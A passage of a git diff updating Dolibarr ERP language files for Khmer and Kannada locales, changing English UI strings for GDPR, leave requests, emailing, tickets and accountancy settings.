Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/km_KH/holiday.lang b/htdocs/langs/km_KH/holiday.lang index 3d0ae64be0f..1921b9ed794 100644 --- a/htdocs/langs/km_KH/holiday.lang +++ b/htdocs/langs/km_KH/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=HRM -Holidays=Leave +Holidays=Leaves +Holiday=Leave CPTitreMenu=Leave MenuReportMonth=Monthly statement MenuAddCP=New leave request +MenuCollectiveAddCP=New collective leave request NotActiveModCP=You must enable the module Leave to view this page. AddCP=Make a leave request DateDebCP=Start date @@ -56,6 +58,7 @@ ConfirmDeleteCP=Confirm the deletion of this leave request? ErrorCantDeleteCP=Error you don't have the right to delete this leave request. CantCreateCP=You don't have the right to make leave requests. InvalidValidatorCP=You must choose the approver for your leave request. +InvalidValidator=The user chosen isn't an approver. NoDateDebut=You must select a start date. NoDateFin=You must select an end date. ErrorDureeCP=Your leave request does not contain working day. @@ -79,6 +82,8 @@ MotifCP=Reason UserCP=User ErrorAddEventToUserCP=An error occurred while adding the exceptional leave. AddEventToUserOkCP=The addition of the exceptional leave has been completed. +ErrorFieldRequiredUserOrGroup=The "group" field or the "user" field must be filled in +fusionGroupsUsers=The groups field and the user field will be merged MenuLogCP=View change logs LogCP=Log of all updates made to "Balance of Leave" ActionByCP=Updated by @@ -86,6 +91,13 @@ UserUpdateCP=Updated for PrevSoldeCP=Previous Balance NewSoldeCP=New Balance alreadyCPexist=A leave request has already been done on this period. +UseralreadyCPexist=A leave request has already been done on this period for %s. +groups=Groups +users=Users +AutoSendMail=Automatic mailing +NewHolidayForGroup=New collective leave request +SendRequestCollectiveCP=Send collective leave request +AutoValidationOnCreate=Automatic validation FirstDayOfHoliday=Beginning day of leave request LastDayOfHoliday=Ending day of leave request BoxTitleLastLeaveRequests=Latest %s modified leave requests @@ -137,3 +149,10 @@ XIsAUsualNonWorkingDay=%s is usualy a NON working day BlockHolidayIfNegative=Block if balance negative LeaveRequestCreationBlockedBecauseBalanceIsNegative=The creation of this leave request is blocked because your balance is negative ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Leave request %s must be draft, canceled or refused to be deleted +IncreaseHolidays=Increase holiday +HolidayRecordsIncreased= %s holiday records increased +HolidayRecordIncreased=Holiday record increased +ConfirmMassIncreaseHoliday=Bulk holiday increase +NumberDayAddMass=Number of day to add to the selection +ConfirmMassIncreaseHolidayQuestion=Are you sure you want to increase holiday of the %s selected record(s)? +HolidayQtyNotModified=Balance of remaining days for %s has not been changed diff --git a/htdocs/langs/km_KH/mails.lang b/htdocs/langs/km_KH/mails.lang index 52c4d4dbf69..f04ee17575c 100644 --- a/htdocs/langs/km_KH/mails.lang +++ b/htdocs/langs/km_KH/mails.lang @@ -7,10 +7,10 @@ MailCard=EMailing card MailRecipients=Recipients MailRecipient=Recipient MailTitle=Description -MailFrom=Sender +MailFrom=From MailErrorsTo=Errors to MailReply=Reply to -MailTo=Receiver(s) +MailTo=To MailToUsers=To user(s) MailCC=Copy to MailToCCUsers=Copy to users(s) @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=Contacts by position MailingModuleDescEmailsFromFile=Emails from file MailingModuleDescEmailsFromUser=Emails input by user MailingModuleDescDolibarrUsers=Users with Emails -MailingModuleDescThirdPartiesByCategories=Third parties (by categories) +MailingModuleDescThirdPartiesByCategories=Third parties SendingFromWebInterfaceIsNotAllowed=Sending from web interface is not allowed. EmailCollectorFilterDesc=All filters must match to have an email being collected @@ -178,3 +178,5 @@ IsAnAnswer=Is an answer of an initial email RecordCreatedByEmailCollector=Record created by the Email Collector %s from email %s DefaultBlacklistMailingStatus=Default value for field '%s' when creating a new contact DefaultStatusEmptyMandatory=Empty but mandatory +WarningLimitSendByDay=WARNING: The setup or contract of your instance limits your number of emails per day to %s. Trying to send more may result in having your instance slow down or suspended. Please contact your support if you need a higher quota. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/km_KH/ticket.lang b/htdocs/langs/km_KH/ticket.lang index 9bcdcb341fd..71f21f3333c 100644 --- a/htdocs/langs/km_KH/ticket.lang +++ b/htdocs/langs/km_KH/ticket.lang @@ -27,6 +27,7 @@ Permission56003=Delete tickets Permission56004=Manage tickets Permission56005=See tickets of all third parties (not effective for external users, always be limited to the third party they depend on) +Tickets=Tickets TicketDictType=Ticket - Types TicketDictCategory=Ticket - Groupes TicketDictSeverity=Ticket - Severities @@ -90,15 +91,17 @@ TicketPublicAccess=A public interface requiring no identification is available a TicketSetupDictionaries=The type of ticket, severity and analytic codes are configurable from dictionaries TicketParamModule=Module variable setup TicketParamMail=Email setup -TicketEmailNotificationFrom=Notification email from -TicketEmailNotificationFromHelp=Used into ticket message answer by example -TicketEmailNotificationTo=Notifications email to -TicketEmailNotificationToHelp=Send email notifications to this address. +TicketEmailNotificationFrom=Sender e-mail for notification on answers +TicketEmailNotificationFromHelp=Sender e-mail to use to send the notification email when an answer is provided inside the backoffice. For example noreply@example.com +TicketEmailNotificationTo=Notify ticket creation to this e-mail address +TicketEmailNotificationToHelp=If present, this e-mail address will be notified of a ticket creation TicketNewEmailBodyLabel=Text message sent after creating a ticket TicketNewEmailBodyHelp=The text specified here will be inserted into the email confirming the creation of a new ticket from the public interface. Information on the consultation of the ticket are automatically added. TicketParamPublicInterface=Public interface setup TicketsEmailMustExist=Require an existing email address to create a ticket TicketsEmailMustExistHelp=In the public interface, the email address should already be filled in the database to create a new ticket. +TicketCreateThirdPartyWithContactIfNotExist=Ask name and company name for unknown emails. +TicketCreateThirdPartyWithContactIfNotExistHelp=Check if a thirdparty or a contact exists for the email entered. If not, ask a name and a company name to create a third party with contact. PublicInterface=Public interface TicketUrlPublicInterfaceLabelAdmin=Alternative URL for public interface TicketUrlPublicInterfaceHelpAdmin=It is possible to define an alias to the web server and thus make available the public interface with another URL (the server must act as a proxy on this new URL) @@ -136,6 +139,20 @@ TicketsPublicNotificationNewMessage=Send email(s) when a new message/comment is TicketsPublicNotificationNewMessageHelp=Send email(s) when a new message is added from public interface (to assigned user or the notifications email to (update) and/or the notifications email to) TicketPublicNotificationNewMessageDefaultEmail=Notifications email to (update) TicketPublicNotificationNewMessageDefaultEmailHelp=Send an email to this address for each new message notifications if the ticket doesn't have a user assigned to it or if the user doesn't have any known email. +TicketsAutoReadTicket=Automatically mark the ticket as read (when created from backoffice) +TicketsAutoReadTicketHelp=Automatically mark the ticket as read when created from backoffice. When ticket is create from the public interface, ticket remains with the status "Not Read". +TicketsDelayBeforeFirstAnswer=A new ticket should receive a first answer before (hours): +TicketsDelayBeforeFirstAnswerHelp=If a new ticket has not received an answer after this time period (in hours), an important warning icon will be displayed in the list view. +TicketsDelayBetweenAnswers=An unresolved ticket should not be unactive during (hours): +TicketsDelayBetweenAnswersHelp=If an unresolved ticket that has already received an answer has not had further interaction after this time period (in hours), a warning icon will be displayed in the list view. +TicketsAutoNotifyClose=Automatically notify thirdparty when closing a ticket +TicketsAutoNotifyCloseHelp=When closing a ticket, you will be proposed to send a message to one of thirdparty's contacts. On mass closing, a message will be sent to one contact of the thirdparty linked to the ticket. +TicketWrongContact=Provided contact is not part of current ticket contacts. Email not sent. +TicketChooseProductCategory=Product category for ticket support +TicketChooseProductCategoryHelp=Select the product category of ticket support. This will be used to automatically link a contract to a ticket. +TicketUseCaptchaCode=Use graphical code (CAPTCHA) when creating a ticket +TicketUseCaptchaCodeHelp=Adds CAPTCHA verification when creating a new ticket. + # # Index & list page # @@ -151,6 +168,8 @@ OrderByDateAsc=Sort by ascending date OrderByDateDesc=Sort by descending date ShowAsConversation=Show as conversation list MessageListViewType=Show as table list +ConfirmMassTicketClosingSendEmail=Automatically send emails when closing tickets +ConfirmMassTicketClosingSendEmailQuestion=Do you want to notify thirdparties when closing these tickets ? # # Ticket card @@ -176,8 +195,7 @@ TicketAssigned=Ticket is now assigned TicketChangeType=Change type TicketChangeCategory=Change analytic code TicketChangeSeverity=Change severity -TicketAddMessage=Add a message -AddMessage=Add a message +TicketAddMessage=Add private message MessageSuccessfullyAdded=Ticket added TicketMessageSuccessfullyAdded=Message successfully added TicketMessagesList=Message list @@ -188,8 +206,8 @@ TicketSeverity=Severity ShowTicket=See ticket RelatedTickets=Related tickets TicketAddIntervention=Create intervention -CloseTicket=Close|Solve ticket -AbandonTicket=Abandon ticket +CloseTicket=Close|Solve +AbandonTicket=Abandon CloseATicket=Close|Solve a ticket ConfirmCloseAticket=Confirm ticket closing ConfirmAbandonTicket=Do you confirm the closing of the ticket to status 'Abandonned' @@ -203,18 +221,17 @@ SendMessageByEmail=Send message by email TicketNewMessage=New message ErrorMailRecipientIsEmptyForSendTicketMessage=Recipient is empty. No email send TicketGoIntoContactTab=Please go into "Contacts" tab to select them -TicketMessageMailIntro=Introduction +TicketMessageMailIntro=Message header TicketMessageMailIntroHelp=This text is added only at the beginning of the email and will not be saved. -TicketMessageMailIntroLabelAdmin=Introduction to the message when sending email -TicketMessageMailIntroText=Hello,
      A new response was sent on a ticket that you contact. Here is the message:
      -TicketMessageMailIntroHelpAdmin=This text will be inserted before the text of the response to a ticket. -TicketMessageMailSignature=Signature -TicketMessageMailSignatureHelp=This text is added only at the end of the email and will not be saved. -TicketMessageMailSignatureText=

      Sincerely,

      --

      -TicketMessageMailSignatureLabelAdmin=Signature of response email -TicketMessageMailSignatureHelpAdmin=This text will be inserted after the response message. +TicketMessageMailIntroText=Hello,
      A new answer has been added to a ticket that you follow. Here is the message:
      +TicketMessageMailIntroHelpAdmin=This text will be inserted before the answer when replying to a ticket from Dolibarr +TicketMessageMailFooter=Message footer +TicketMessageMailFooterHelp=This text is added only at the end of the message sent by email and will not be saved. +TicketMessageMailFooterText=Message sent by %s via Dolibarr +TicketMessageMailFooterHelpAdmin=This text will be inserted after the response message. TicketMessageHelp=Only this text will be saved in the message list on ticket card. TicketMessageSubstitutionReplacedByGenericValues=Substitutions variables are replaced by generic values. +ForEmailMessageWillBeCompletedWith=For email messages sent to external users, the message will be completed with TimeElapsedSince=Time elapsed since TicketTimeToRead=Time elapsed before read TicketTimeElapsedBeforeSince=Time elapsed before / since @@ -225,6 +242,7 @@ TicketMessageMailIntroAutoNewPublicMessage=A new message was posted on the ticke TicketAssignedToYou=Ticket assigned TicketAssignedEmailBody=You have been assigned the ticket #%s by %s MarkMessageAsPrivate=Mark message as private +TicketMessageSendEmailHelp=An email will be sent to all assigned contact (internal contacts, but also external contacts except if the option "%s" is checked) TicketMessagePrivateHelp=This message will not display to external users TicketEmailOriginIssuer=Issuer at origin of the tickets InitialMessage=Initial Message @@ -238,9 +256,16 @@ TicketChangeStatus=Change status TicketConfirmChangeStatus=Confirm the status change: %s ? TicketLogStatusChanged=Status changed: %s to %s TicketNotNotifyTiersAtCreate=Not notify company at create +NotifyThirdpartyOnTicketClosing=Contacts to notify while closing the ticket +TicketNotifyAllTiersAtClose=All related contacts +TicketNotNotifyTiersAtClose=No related contact Unread=Unread TicketNotCreatedFromPublicInterface=Not available. Ticket was not created from public interface. ErrorTicketRefRequired=Ticket reference name is required +TicketsDelayForFirstResponseTooLong=Too much time elapsed since ticket opening without any answer. +TicketsDelayFromLastResponseTooLong=Too much time elapsed since last answer on this ticket. +TicketNoContractFoundToLink=No contract was found to be automatically linked to this ticket. Please link a contract manually. +TicketManyContractsLinked=Many contracts have been automatically linked to this ticket. Make sure to verify which should be chosen. # # Logs @@ -268,11 +293,12 @@ TicketNewEmailBody=This is an automatic email to confirm you have registered a n TicketNewEmailBodyCustomer=This is an automatic email to confirm a new ticket has just been created into your account. TicketNewEmailBodyInfosTicket=Information for monitoring the ticket TicketNewEmailBodyInfosTrackId=Ticket tracking number: %s -TicketNewEmailBodyInfosTrackUrl=You can view the progress of the ticket by clicking the link above. +TicketNewEmailBodyInfosTrackUrl=You can view the progress of the ticket by clicking the following link TicketNewEmailBodyInfosTrackUrlCustomer=You can view the progress of the ticket in the specific interface by clicking the following link +TicketCloseEmailBodyInfosTrackUrlCustomer=You can consult the history of this ticket by clicking the following link TicketEmailPleaseDoNotReplyToThisEmail=Please do not reply directly to this email! Use the link to reply into the interface. TicketPublicInfoCreateTicket=This form allows you to record a support ticket in our management system. -TicketPublicPleaseBeAccuratelyDescribe=Please accurately describe the problem. Provide the most information possible to allow us to correctly identify your request. +TicketPublicPleaseBeAccuratelyDescribe=Please accurately describe your question. Provide the most information possible to allow us to correctly identify your request. TicketPublicMsgViewLogIn=Please enter ticket tracking ID TicketTrackId=Public Tracking ID OneOfTicketTrackId=One of your tracking ID @@ -291,6 +317,10 @@ NewUser=New user NumberOfTicketsByMonth=Number of tickets per month NbOfTickets=Number of tickets # notifications +TicketCloseEmailSubjectCustomer=Ticket closed +TicketCloseEmailBodyCustomer=This is an automatic message to notify you that ticket %s has just been closed. +TicketCloseEmailSubjectAdmin=Ticket closed - Réf %s (public ticket ID %s) +TicketCloseEmailBodyAdmin=A ticket with ID #%s has just been closed, see information: TicketNotificationEmailSubject=Ticket %s updated TicketNotificationEmailBody=This is an automatic message to notify you that ticket %s has just been updated TicketNotificationRecipient=Notification recipient diff --git a/htdocs/langs/kn_IN/accountancy.lang b/htdocs/langs/kn_IN/accountancy.lang index 8bc4b54a090..7158d53896a 100644 --- a/htdocs/langs/kn_IN/accountancy.lang +++ b/htdocs/langs/kn_IN/accountancy.lang @@ -48,8 +48,9 @@ CountriesNotInEEC=Countries not in EEC CountriesInEECExceptMe=Countries in EEC except %s CountriesExceptMe=All countries except %s AccountantFiles=Export source documents -ExportAccountingSourceDocHelp=With this tool, you can export the source events (list in CSV and PDFs) that are used to generate your accountancy. +ExportAccountingSourceDocHelp=With this tool, you can search and export the source events that are used to generate your accountancy.
      The exported ZIP file will contain the lists of requested items in CSV, as well as their attached files in their original format (PDF, ODT, DOCX...). ExportAccountingSourceDocHelp2=To export your journals, use the menu entry %s - %s. +ExportAccountingProjectHelp=Specify a project if you need an accounting report only for a specific project. Expense reports and loan payments are not included in project reports. VueByAccountAccounting=View by accounting account VueBySubAccountAccounting=View by accounting subaccount @@ -58,28 +59,29 @@ MainAccountForSuppliersNotDefined=Main accounting account for vendors not define MainAccountForUsersNotDefined=Main accounting account for users not defined in setup MainAccountForVatPaymentNotDefined=Main accounting account for VAT payment not defined in setup MainAccountForSubscriptionPaymentNotDefined=Main accounting account for subscription payment not defined in setup +UserAccountNotDefined=Accounting account for user not defined in setup AccountancyArea=Accounting area AccountancyAreaDescIntro=Usage of the accountancy module is done in several step: AccountancyAreaDescActionOnce=The following actions are usually executed one time only, or once per year... -AccountancyAreaDescActionOnceBis=Next steps should be done to save you time in future by suggesting you the correct default accounting account when making the journalization (writing record in Journals and General ledger) +AccountancyAreaDescActionOnceBis=Next steps should be done to save you time in future by suggesting you automaticaly the correct default accounting account when transferring data in accounting AccountancyAreaDescActionFreq=The following actions are usually executed every month, week or day for very large companies... -AccountancyAreaDescJournalSetup=STEP %s: Create or check content of your journal list from menu %s +AccountancyAreaDescJournalSetup=STEP %s: Check content of your journal list from menu %s AccountancyAreaDescChartModel=STEP %s: Check that a model of chart of account exists or create one from menu %s AccountancyAreaDescChart=STEP %s: Select and|or complete your chart of account from menu %s AccountancyAreaDescVat=STEP %s: Define accounting accounts for each VAT Rates. For this, use the menu entry %s. AccountancyAreaDescDefault=STEP %s: Define default accounting accounts. For this, use the menu entry %s. -AccountancyAreaDescExpenseReport=STEP %s: Define default accounting accounts for each type of expense report. For this, use the menu entry %s. +AccountancyAreaDescExpenseReport=STEP %s: Define default accounting accounts for each type of Expense report. For this, use the menu entry %s. AccountancyAreaDescSal=STEP %s: Define default accounting accounts for payment of salaries. For this, use the menu entry %s. -AccountancyAreaDescContrib=STEP %s: Define default accounting accounts for special expenses (miscellaneous taxes). For this, use the menu entry %s. +AccountancyAreaDescContrib=STEP %s: Define default accounting accounts for Taxes (special expenses). For this, use the menu entry %s. AccountancyAreaDescDonation=STEP %s: Define default accounting accounts for donation. For this, use the menu entry %s. AccountancyAreaDescSubscription=STEP %s: Define default accounting accounts for member subscription. For this, use the menu entry %s. AccountancyAreaDescMisc=STEP %s: Define mandatory default account and default accounting accounts for miscellaneous transactions. For this, use the menu entry %s. AccountancyAreaDescLoan=STEP %s: Define default accounting accounts for loans. For this, use the menu entry %s. AccountancyAreaDescBank=STEP %s: Define accounting accounts and journal code for each bank and financial accounts. For this, use the menu entry %s. -AccountancyAreaDescProd=STEP %s: Define accounting accounts on your products/services. For this, use the menu entry %s. +AccountancyAreaDescProd=STEP %s: Define accounting accounts on your Products/Services. For this, use the menu entry %s. AccountancyAreaDescBind=STEP %s: Check the binding between existing %s lines and accounting account is done, so application will be able to journalize transactions in Ledger in one click. Complete missing bindings. For this, use the menu entry %s. AccountancyAreaDescWriteRecords=STEP %s: Write transactions into the Ledger. For this, go into menu %s, and click into button %s. @@ -112,7 +114,7 @@ MenuAccountancyClosure=Closure MenuAccountancyValidationMovements=Validate movements ProductsBinding=Products accounts TransferInAccounting=Transfer in accounting -RegistrationInAccounting=Registration in accounting +RegistrationInAccounting=Recording in accounting Binding=Binding to accounts CustomersVentilation=Customer invoice binding SuppliersVentilation=Vendor invoice binding @@ -120,7 +122,7 @@ ExpenseReportsVentilation=Expense report binding CreateMvts=Create new transaction UpdateMvts=Modification of a transaction ValidTransaction=Validate transaction -WriteBookKeeping=Register transactions in accounting +WriteBookKeeping=Record transactions in accounting Bookkeeping=Ledger BookkeepingSubAccount=Subledger AccountBalance=Account balance @@ -161,41 +163,46 @@ BANK_DISABLE_DIRECT_INPUT=Disable direct recording of transaction in bank accoun ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=Enable draft export on journal ACCOUNTANCY_COMBO_FOR_AUX=Enable combo list for subsidiary account (may be slow if you have a lot of third parties, break ability to search on a part of value) ACCOUNTING_DATE_START_BINDING=Define a date to start binding & transfer in accountancy. Below this date, the transactions will not be transferred to accounting. -ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, select period show by default +ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default -ACCOUNTING_SELL_JOURNAL=Sell journal -ACCOUNTING_PURCHASE_JOURNAL=Purchase journal -ACCOUNTING_MISCELLANEOUS_JOURNAL=Miscellaneous journal +ACCOUNTING_SELL_JOURNAL=Sales journal (sales and returns) +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal (purchase and returns) +ACCOUNTING_BANK_JOURNAL=Cash journal (receipts and disbursements) ACCOUNTING_EXPENSEREPORT_JOURNAL=Expense report journal -ACCOUNTING_SOCIAL_JOURNAL=Social journal +ACCOUNTING_MISCELLANEOUS_JOURNAL=General journal ACCOUNTING_HAS_NEW_JOURNAL=Has new Journal +ACCOUNTING_INVENTORY_JOURNAL=Inventory journal +ACCOUNTING_SOCIAL_JOURNAL=Social journal ACCOUNTING_RESULT_PROFIT=Result accounting account (Profit) ACCOUNTING_RESULT_LOSS=Result accounting account (Loss) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Journal of closure -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Accounting account of transitional bank transfer +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=Transitional bank transfer account -ACCOUNTING_ACCOUNT_SUSPENSE=Accounting account of wait -DONATION_ACCOUNTINGACCOUNT=Accounting account to register donations -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Accounting account to register subscriptions +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Accounting account by default to register customer deposit +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit +UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default +UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Accounting account by default for the bought products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Accounting account by default for the bought products in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought products and imported out of EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Accounting account by default for the sold products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Accounting account by default for the products sold in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Accounting account by default for the products sold and exported out of EEC (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Accounting account by default for the bought services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Accounting account by default for the bought services in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought services and imported out of EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Accounting account by default for the sold services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Accounting account by default for the services sold in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Accounting account by default for the services sold and exported out of EEC (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=Type of document Docdate=Date @@ -210,7 +217,7 @@ Codejournal=Journal JournalLabel=Journal label NumPiece=Piece number TransactionNumShort=Num. transaction -AccountingCategory=Custom group +AccountingCategory=Custom group of accounts GroupByAccountAccounting=Group by general ledger account GroupBySubAccountAccounting=Group by subledger account AccountingAccountGroupsDesc=You can define here some groups of accounting account. They will be used for personalized accounting reports. @@ -219,12 +226,12 @@ ByPredefinedAccountGroups=By predefined groups ByPersonalizedAccountGroups=By personalized groups ByYear=By year NotMatch=Not Set -DeleteMvt=Delete some operation lines from accounting +DeleteMvt=Delete some lines from accounting DelMonth=Month to delete DelYear=Year to delete DelJournal=Journal to delete -ConfirmDeleteMvt=This will delete all operation lines of the accounting for the year/month and/or for a specific journal (At least one criterion is required). You will have to reuse the feature '%s' to have the deleted record back in the ledger. -ConfirmDeleteMvtPartial=This will delete the transaction from the accounting (all operation lines related to the same transaction will be deleted) +ConfirmDeleteMvt=This will delete all lines in accountancy for the year/month and/or for a specific journal (At least one criterion is required). You will have to reuse the feature '%s' to have the deleted record back in the ledger. +ConfirmDeleteMvtPartial=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) FinanceJournal=Finance journal ExpenseReportsJournal=Expense reports journal DescFinanceJournal=Finance journal including all the types of payments by bank account @@ -264,13 +271,13 @@ Reconcilable=Reconcilable TotalVente=Total turnover before tax TotalMarge=Total sales margin -DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product accounting account -DescVentilMore=In most cases, if you use predefined products or services and you set the account number on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". -DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product accounting account -DescVentilTodoCustomer=Bind invoice lines not already bound with a product accounting account -ChangeAccount=Change the product/service accounting account for selected lines with the following accounting account: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product accounting account (only record not already transfered in accountancy are visible) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=Consult here the list of the lines of vendor invoices and their accounting account DescVentilTodoExpenseReport=Bind expense report lines not already bound with a fee accounting account DescVentilExpenseReport=Consult here the list of expense report lines bound (or not) to a fee accounting account @@ -278,30 +285,31 @@ DescVentilExpenseReportMore=If you setup accounting account on type of expense r DescVentilDoneExpenseReport=Consult here the list of the lines of expenses reports and their fees accounting account Closure=Annual closure -DescClosure=Consult here the number of movements by month who are not validated & fiscal years already open -OverviewOfMovementsNotValidated=Step 1/ Overview of movements not validated. (Necessary to close a fiscal year) -AllMovementsWereRecordedAsValidated=All movements were recorded as validated -NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated -ValidateMovements=Validate movements +DescClosure=Consult here the number of movements by month not yet validated & locked +OverviewOfMovementsNotValidated=Overview of movements not validated and locked +AllMovementsWereRecordedAsValidated=All movements were recorded as validated and locked +NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated and locked +ValidateMovements=Validate and lock movements... DescValidateMovements=Any modification or deletion of writing, lettering and deletes will be prohibited. All entries for an exercise must be validated otherwise closing will not be possible ValidateHistory=Bind Automatically AutomaticBindingDone=Automatic bindings done (%s) - Automatic binding not possible for some record (%s) -ErrorAccountancyCodeIsAlreadyUse=Error, you cannot delete this accounting account because it is used -MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s | Credit = %s +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used +MvtNotCorrectlyBalanced=Movement not correctly 